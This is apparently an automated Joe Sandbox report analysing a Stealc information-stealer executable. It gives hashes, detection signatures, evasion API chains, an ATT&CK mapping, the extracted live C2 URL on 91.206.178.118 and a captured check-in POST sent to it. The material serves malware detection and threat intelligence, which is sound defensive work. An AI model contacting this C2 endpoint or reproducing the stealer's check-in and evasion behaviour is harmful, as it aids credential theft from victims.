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Windows Analysis Report
mrkjKujfkP.exe

Overview

General Information

Sample name:	mrkjKujfkP.exe renamed because original name is a hash value
Original sample name:	ec37b9184eb3457fff8057affeb6ffd5.exe
Analysis ID:	1386666
MD5:	ec37b9184eb3457fff8057affeb6ffd5
SHA1:	4c9c17d1874a44e9708976736620b75d033274de
SHA256:	152e23b6a0f48147c40ceef6fb08f9702ff4da2fee7fbea4afe5c7c6b2cd35b0
Tags:	exeStealc
Infos:

Detection

Stealc

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected Stealc

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Machine Learning detection for sample

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Extensive use of GetProcAddress (often used to hide API calls)

Found evasive API chain (date check)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Tries to load missing DLLs

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

mrkjKujfkP.exe (PID: 2148 cmdline: C:\Users\user\Desktop\mrkjKujfkP.exe MD5: EC37B9184EB3457FFF8057AFFEB6FFD5)

conhost.exe (PID: 3092 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://91.206.178.118/31b57f88e9b186cd.php"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2053299883.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: mrkjKujfkP.exe PID: 2148	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Snort Signatures

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.5 - Destination IP: 91.206.178.118

Timestamp:	192.168.2.591.206.178.11849705802044243 02/05/24-10:47:04.601026
SID:	2044243
Source Port:	49705
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 00000000.00000002.2053299883.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: StealC {"C2 url": "http://91.206.178.118/31b57f88e9b186cd.php"}

Multi AV Scanner detection for domain / URL

Source: http://91.206.178.118/	Virustotal: Detection: 8%	Perma Link
Source: http://91.206.178.118	Virustotal: Detection: 8%	Perma Link
Source: http://91.206.178.118/31b57f88e9b186cd.php	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for submitted file

Source: mrkjKujfkP.exe

Virustotal: Detection: 33%

Perma Link

Machine Learning detection for sample

Source: mrkjKujfkP.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D192E0 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrcpy,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,lstrlen,lstrcpy,lstrcat,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,	0_2_00D192E0
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D32520 CryptBinaryToStringA,GetProcessHeap,HeapAlloc,CryptBinaryToStringA,	0_2_00D32520
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D1A620 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,GetProcessHeap,HeapAlloc,lstrlen,memcpy,lstrlen,lstrlen,memcpy,lstrlen,HttpSendRequestA,InternetReadFile,lstrlen,lstrcpy,lstrcat,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,	0_2_00D1A620
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D1BB80 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00D1BB80
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D1BB20 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00D1BB20

Source: mrkjKujfkP.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: mrkjKujfkP.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Code function: 0_2_00CC934A FindFirstFileExW,

0_2_00CC934A

Networking

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2044243 ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in 192.168.2.5:49705 -> 91.206.178.118:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://91.206.178.118/31b57f88e9b186cd.php

Source: global traffic

HTTP traffic detected: POST /31b57f88e9b186cd.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGCFIDAFBFBAKFHJEGIJHost: 91.206.178.118Content-Length: 209Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 39 30 46 44 34 39 46 45 37 32 39 39 31 33 31 32 36 34 37 36 39 37 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 45 55 0d 0a 2d 2d 2d 2d 2d 2d 45 47 43 46 49 44 41 46 42 46 42 41 4b 46 48 4a 45 47 49 4a 2d 2d 0d 0a Data Ascii: ------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="hwid"90FD49FE72991312647697------EGCFIDAFBFBAKFHJEGIJContent-Disposition: form-data; name="build"EU------EGCFIDAFBFBAKFHJEGIJ--

Source: Joe Sandbox View

ASN Name: ARTNET2PL ARTNET2PL

Source: unknown	TCP traffic detected without corresponding DNS query: 91.206.178.118
Source: unknown	TCP traffic detected without corresponding DNS query: 91.206.178.118
Source: unknown	TCP traffic detected without corresponding DNS query: 91.206.178.118
Source: unknown	TCP traffic detected without corresponding DNS query: 91.206.178.118
Source: unknown	TCP traffic detected without corresponding DNS query: 91.206.178.118

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Code function: 0_2_00D192E0 lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,lstrcpy,InternetOpenA,StrCmpCA,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,lstrcat,lstrcpy,InternetConnectA,HttpOpenRequestA,lstrcpy,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,lstrlen,lstrcpy,lstrcat,lstrcpy,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,lstrlen,lstrcpy,lstrlen,lstrcpy,lstrcat,lstrcpy,

0_2_00D192E0

Source: unknown

Source: mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.206.178.118
Source: mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.206.178.118/
Source: mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp, mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.206.178.118/31b57f88e9b186cd.php
Source: mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.206.178.118/31b57f88e9b186cd.php0
Source: mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.206.178.118/31b57f88e9b186cd.phpW
Source: mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.206.178.118/31b57f88e9b186cd.php_

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Code function: 0_2_00CC1290 GetModuleHandleA,GetProcAddress,VirtualAlloc,NtUnmapViewOfSection,NtUnmapViewOfSection,LoadLibraryA,GetProcAddress,GetProcAddress,lstrlenW,CreateThread,Sleep,WaitForSingleObject,

0_2_00CC1290

Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00CC1000	0_2_00CC1000
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00CD05B1	0_2_00CD05B1
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00CC2EA0	0_2_00CC2EA0
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D128E8	0_2_00D128E8
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D12CE8	0_2_00D12CE8
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D130E8	0_2_00D130E8
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D134E8	0_2_00D134E8
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D129E8	0_2_00D129E8
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D12DE8	0_2_00D12DE8
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D131E8	0_2_00D131E8
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D12AE8	0_2_00D12AE8
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D12EE8	0_2_00D12EE8
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D132E8	0_2_00D132E8
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D13630	0_2_00D13630
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D127C0	0_2_00D127C0
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D12BE8	0_2_00D12BE8
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D12FE8	0_2_00D12FE8
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D133E8	0_2_00D133E8

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Code function: String function: 00CC4900 appears 33 times

Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Section loaded: netutils.dll	Jump to behavior

Source: mrkjKujfkP.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: classification engine

Classification label: mal92.troj.evad.winEXE@2/0@0/1

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3092:120:WilError_03

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: mrkjKujfkP.exe

Virustotal: Detection: 33%

Source: unknown	Process created: C:\Users\user\Desktop\mrkjKujfkP.exe C:\Users\user\Desktop\mrkjKujfkP.exe
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: mrkjKujfkP.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source: mrkjKujfkP.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

0_2_00CC1290

Source: mrkjKujfkP.exe

Static PE information: section name: .1eKI8

Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00CD1520 push eax; ret		0_2_00CD1540
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00CD0CC1 push ecx; ret		0_2_00CD0CD4

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Code function: 0_2_00D32EF0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00D32EF0

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-12212

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Evasive API call chain: GetSystemTime,DecisionNodes

graph_0-10842

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Code function: 0_2_00CC934A FindFirstFileExW,

0_2_00CC934A

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Code function: 0_2_00D300F0 EntryPoint,GetSystemInfo,GetUserDefaultLangID,GetProcessHeap,HeapAlloc,GetUserNameA,GetProcessHeap,HeapAlloc,GetComputerNameA,lstrlen,lstrlen,lstrlen,lstrlen,lstrlen,OpenEventA,CreateEventA,

0_2_00D300F0

Source: mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000B23000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000B58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000B58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWa

Source: C:\Users\user\Desktop\mrkjKujfkP.exe	API call chain: ExitProcess graph end node	graph_0-12202
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	API call chain: ExitProcess graph end node	graph_0-12218
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	API call chain: ExitProcess graph end node	graph_0-12210
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	API call chain: ExitProcess graph end node	graph_0-12225

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Code function: 0_2_00CC70E3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00CC70E3

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

0_2_00CC1290

Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00CC1290 mov eax, dword ptr fs:[00000030h]		0_2_00CC1290
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00D32B80 mov eax, dword ptr fs:[00000030h]		0_2_00D32B80

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Code function: 0_2_00CCBA64 GetProcessHeap,

0_2_00CCBA64

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00CC70E3 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00CC70E3
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00CC483A SetUnhandledExceptionFilter,	0_2_00CC483A
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00CC46DE IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00CC46DE
Source: C:\Users\user\Desktop\mrkjKujfkP.exe	Code function: 0_2_00CC4B33 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00CC4B33

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Code function: 0_2_00CC4945 cpuid

0_2_00CC4945

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Code function: 0_2_00CC45C5 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00CC45C5

Source: C:\Users\user\Desktop\mrkjKujfkP.exe

Code function: 0_2_00D110C0 GetProcessHeap,HeapAlloc,GetComputerNameA,GetProcessHeap,HeapAlloc,GetUserNameA,ExitProcess,

0_2_00D110C0

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2053299883.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mrkjKujfkP.exe PID: 2148, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2053299883.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: mrkjKujfkP.exe PID: 2148, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Native API	1 DLL Side-Loading	1 Process Injection	1 Virtualization/Sandbox Evasion	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	21 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Obfuscated Files or Information	NTDS	1 Account Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 System Owner/User Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	123 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
mrkjKujfkP.exe	33%	Virustotal		Browse
mrkjKujfkP.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://91.206.178.118/	0%	Avira URL Cloud	safe
http://91.206.178.118/31b57f88e9b186cd.php0	0%	Avira URL Cloud	safe
http://91.206.178.118/31b57f88e9b186cd.php	0%	Avira URL Cloud	safe
http://91.206.178.118	0%	Avira URL Cloud	safe
http://91.206.178.118/31b57f88e9b186cd.php_	0%	Avira URL Cloud	safe
http://91.206.178.118/31b57f88e9b186cd.phpW	0%	Avira URL Cloud	safe
http://91.206.178.118/	9%	Virustotal		Browse
http://91.206.178.118	9%	Virustotal		Browse
http://91.206.178.118/31b57f88e9b186cd.php	13%	Virustotal		Browse

Domains and IPs

Contacted Domains

⊘No contacted domains info

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://91.206.178.118/31b57f88e9b186cd.php	true	13%, Virustotal, Browse Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://91.206.178.118/	mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp	true	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.206.178.118/31b57f88e9b186cd.php_	mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.206.178.118/31b57f88e9b186cd.php0	mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://91.206.178.118	mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000AEE000.00000004.00000020.00020000.00000000.sdmp	true	9%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://91.206.178.118/31b57f88e9b186cd.phpW	mrkjKujfkP.exe, 00000000.00000002.2053299883.0000000000B3D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
91.206.178.118	unknown	Poland		200088	ARTNET2PL	true

General Information

Joe Sandbox version:	39.0.0 Ruby
Analysis ID:	1386666
Start date and time:	2024-02-05 10:46:10 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 2m 20s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	3
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
